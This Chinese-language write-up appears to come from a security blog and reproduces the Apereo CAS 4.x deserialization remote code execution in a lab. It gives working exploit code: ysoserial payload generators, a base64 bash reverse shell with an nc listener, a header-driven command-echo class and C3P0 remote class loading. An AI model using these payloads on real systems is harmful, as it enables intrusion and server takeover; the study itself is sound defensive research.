前言
接上一章調試環境搭建。本章將展開對Apereo Cas4.x詳細分析和利用
一、調試分析
Apereo Cas 4.1.X~4.1.6
抓取登錄數據包
Apereo CAS具體開發框架流程咱也不熟悉,從數據包中就關注兩點:POST傳參和execution;
剛好做過簡單的javaweb開發,知道在servlet層會存在doPost()方法接收request請求。
那么首先需要找到doPost()所在類,才能往下追蹤值的傳遞,而execution被封裝在request請求中,追蹤request傳遞即參數提取動作即可。
根據已搭建好的運行環境,Debug模式運行
在登錄頁面隨便輸入賬號密碼進行登錄
接着F7進去查看,調用了processRequest方法,request請求繼續丟給doService()方法處理,此處doService()下個斷點,F9立刻跳到當前下的斷點
F7跟進去查看,發現調用了DispatcherServlet類的doService方法
標個斷點繼續往下跟,request經過checkMultipart處理返回給processedRequest,盯着它processedRequest,在下面調用了handle()方法進行處理
跟進去發現引用的是FlowHandlerAdapter類的handle方法,這里關注調用的getFlowExecutionKey()和resumeExecution()方法
通過getFlowExecutionKey(request)方法獲取前端post傳來的execution的值
FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);
調用了resumeExecution()方法進行處理flowExecutionKey,繼續跟進該方法
resumeExecution為FlowExecutorImpl實現類的方法。
方法中先調用了parseFlowExecutionKey方法處理
跟進查看parseFlowExecutionKey
繼續跟進查看parse方法,發現通過”_”字符分割字符串flowExecutionKey為uuid和base64編碼的兩部分內容,最后查看返回值是我們追蹤的數據
FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);
接着看getFlowExecution方法,通過getData()函數將key轉成字節流,丟到decode方法解密處理
ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);
查看decode(),調用Decrypt方法解密,最后通過readObject讀取對象進行反序列化輸出,觸發漏洞。
存在默認的加密密鑰
當前類中同時定義了encode()方法,攻擊者可通過它生成惡意對象。
整個解密執行過程大概醬紫:
通過encode方法生成加密的字節數組並進行base64編碼,頭部拼接隨機生成uuid值,因為存在默認的加密密鑰值,導致攻擊者可偽造execution值;而項目依賴庫中存在commons-collections4-4.0.jar,該版本存在反序列化漏洞,通過精心構建execution值,可實現遠程命令執行。
Aperao Cas 4.1.7~4.2.X
直到org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法的流程都一樣,在加解密部分發生了變化,直接上圖:
查看cas.properties文件,看到4.2.7版本中並不存在默認的key,且名稱也發生變化,用的是webflow.encryption.key和webflow.signing.key
在BinaryCipherExecutor類中,檢查這兩個值,當不存在的時候,就會隨機生成加密的key
感興趣可以在這里下斷點看看生成的key和singkey
當decode時候,可以看到它隨機生成的16位key
二、漏洞利用
4.1.x~4.1.6
(1)遠程命令執行
根據前面的過程分析,隨機生成uuid
因為漏洞項目中存在commons-collections4-4.0.jar,所以需要調用ysoserial中的CommonsCollections4文件,引用的時候直接定義變量,賦值該類名即可
確定payload類型后與要執行的命令通過makePayloadObject方法生成惡意對象
借助org.jasig.spring.webflow.plugin. EncryptedTranscoder#encode方法將惡意對象序列化並進行加密、編碼,拼接uuid組成惡意的execution值,發包達到命令執行效果。
生成Payload的 代碼:
public class app{
public static void main(String[] args) throws IOException {
try {
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
EncryptedTranscoder et = new EncryptedTranscoder();
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
(2)Linux下,反彈shell
在線工具(http://www.jackson-t.ca/runtime-exec-payloads.html)生成反彈shell
其中192.168.3.35為模擬公網上的攻擊機,6666為端口號
將生成的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}再轉成payload
先在192.168.3.35機子上開啟監聽
Kali上nc -lvp 6666
接着放包
反彈成功。
(3)命令執行並回顯
根據大佬的說法以及對比網上大佬提供的代碼
可以看成三部分
代碼:
public class CasExp{
public CasExp() throws IOException{
ExternalContext externalContext = ExternalContextHolder.getExternalContext();
Object request = externalContext.getNativeRequest();
Object response = externalContext.getNativeResponse();
HttpServletRequest httpServletRequest = (HttpServletRequest)request;
HttpServletResponse httpServletResponse = (HttpServletResponse)response;
String Command = httpServletRequest.getHeader("cmd");
Process proc = Runtime.getRuntime().exec(Command);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream(), "utf-8"));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null){
stringBuffer.append(line).append("\n");
}
String result = stringBuffer.toString();
ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
servletOutputStream.write(result.getBytes());
servletOutputStream.flush();
servletOutputStream.close();
}
}
第一是獲取request請求,解析包中的自定義屬性cmd
然后去exec執行。因為第一次接觸,不熟悉它的用法,然后*度學習exec用法,再單獨寫個方法去測試。
最后部分就是獲取exec執行結果返回servlet層,response到前端。
接着要如何引用CasExp類?
將payloads\util\Gadgets.java文件createTemplatesImpl方法中的StubTransletPayload改成自定義的CasExp,注釋這里的cmd操作
下面簡單去分析一下,先從前面的自定義的main開始
使用ObjectPayload.Utils.makePayloadObject方法生成對象,跟進查看(選中makePayloadObject方法ctlr+鼠標左鍵單擊)
可以看到payloadType就是我們傳的“CommonsCollections4”(CC4),調用ysoserial中存在的該類
通過newInstance方法實例化CC4,所以下面的getObject方法是CC4中的,用的不是當前所在類的類方法
查看getObject方法, 通過Gadgets.createTemplatesImpl創建templates類存儲危險的代碼
跟進
獲取ClassPool 容器,在容器中添加我們自定義的CasExp類,從而生成惡意的對象。
分析結束,試試漏洞回顯之旅
Command變量空字符即可
在請求頭中添加cmd:命令,cmd:ipconfig
4.1.7~4.2.x
既然加密方法調用不一樣,先斷點調試ysoserial中的encrypt方法用的是?
毫無疑問明顯不能直接用了
Key隨機生成,只能自己先編碼生成,然后寫到cas.properties文件中才行(這個漏洞有點雞肋了,除非通過任意文件下載cas.properties獲取密鑰)
在BinaryCipherExecutor中verifyAndSetKeys方法中生成key行代碼下斷點,debug到斷點處,將生成的signingKeyToUse和encryptionSecretKey拿出來。
寫入靶機配置文件中
這兩項雖然對結果沒有影響,為方便測試還得設置了它支持http
將項目部署在tomcat中運行。(不會打包就網上直接下載cas-server-webapp-4.2.7項目源碼,丟到webapps下面行了。如果自己打包的war,在tomcat下直接跑會報錯,需要將cas.properties文件拷貝到項目的WEB-INF目錄下,同時修改propertyFileConfigurer.xml文件中的location,指向cas.properties)
開始復現,根據加解密規則,寫了段代碼
public static void main(String[] args) throws IOException {
try {
String type = "C3P0";
String command = "http://192.168.200.106:6666/:CasExp42x";
String id = UUID.randomUUID().toString();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
BinaryCipherExecutor binaryCipherExecutor = new BinaryCipherExecutor("gJAmUFnxIsPKZDMF", "U0wsU1tdvKo-tsWEe5cGx6egiSgnIZF9DxH-OPFxfYN1ko8GVsSfUt5DIGMMznMLyKM1ZHgefsRfL7rpxlu_Xg");
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try{
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
out.writeObject(obj);
}finally {
if (out != null) {
out.close();
}
}
byte[] btobj = outBuffer.toByteArray();
byte[] code = binaryCipherExecutor.encode(btobj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
BinaryCipherExecutor構造器中的兩個參數為cas.properties文件中webflow.encryption.key、webflow.signing.key的值。
因為該版本沒有CommonsCollections4包了,而存在C3P0包,所以通過它進行利用,里面的IP為假定的公網服務器IP(這里是我的kali),端口隨意,不沖突即可,端口后面的CasExp42x為kali上的一個class文件
為什么command的值要這種格式?
查看payloads下C3P0文件,可以看到以最后一個冒號切割字符串,獲取攻擊者的公網ip和類名(實例化惡意對象執行命令)
將CasExp42x.java編譯
代碼:
public class CasExp42x {
public CasExp42x(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"cmd.exe","/C","calc.exe"}
);
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
CasExp42x e = new CasExp42x();
}
}
然后將CasExp42x.class文件拷貝到kali中
注意:要使用BinaryCipherExecutor類必須導入cas-server-core-util-4.2.7.jar包,而ysoserial中默認沒有,所以以防其它錯誤,干脆將apereo cas4.2.7項目中的lib復制到ysoserial根目錄下
然后在idea中導入這些依賴包,不會導的看前面的環境搭建內容。
運行app文件,生成execution值
在kali上監聽開設的http服務端口6666
Python3 -m http.server 6666
接着抓包替換execution值,發送
成功遠程加載kali上的CasExp42x.class文件
可以看到監聽記錄有
踩坑:
1、一開始根據vulhub上的方式復現,生成的ch0mieBy文件,以為是在靶機上根盤下的二級子目錄tmp下
還以為是命令執行不成功,但嘗試反彈shell命令又能被成功執行。。。。
所以猜想此tmp非彼tmp
反手就來個find查詢找正主
Find / -name ch0mieBy
好家伙,原來是這個tmp。
2、過程中,有監聽記錄,但計算機並沒有彈出來
去查看,tomcat日志文件
提示找不到路徑。神奇,竟然會有我本地ysoserial項目的路徑信息
排查結果是class文件有問題,回頭看CasExp42x.java代碼
因為CasExp42x.java文件直接在idea中創建的,所以包含了項目路徑:
package ysoserial.ApereoCasAttack.exploit
刪掉,重新生成class文件替換即可。
如有不對的地方,望各位大佬指正。
歡迎各位大佬關注公眾號”Fighter安全團隊“
文章都是第一時間發布至公眾號,讓我們共同學習相互進步
參考鏈接
http://0kam1.top/index.php/2020/08/01/29/
https://www.freebuf.com/vuls/226149.html
https://www.anquanke.com/post/id/198842
https://www.00theway.org/2020/01/04/apereo-cas-rce/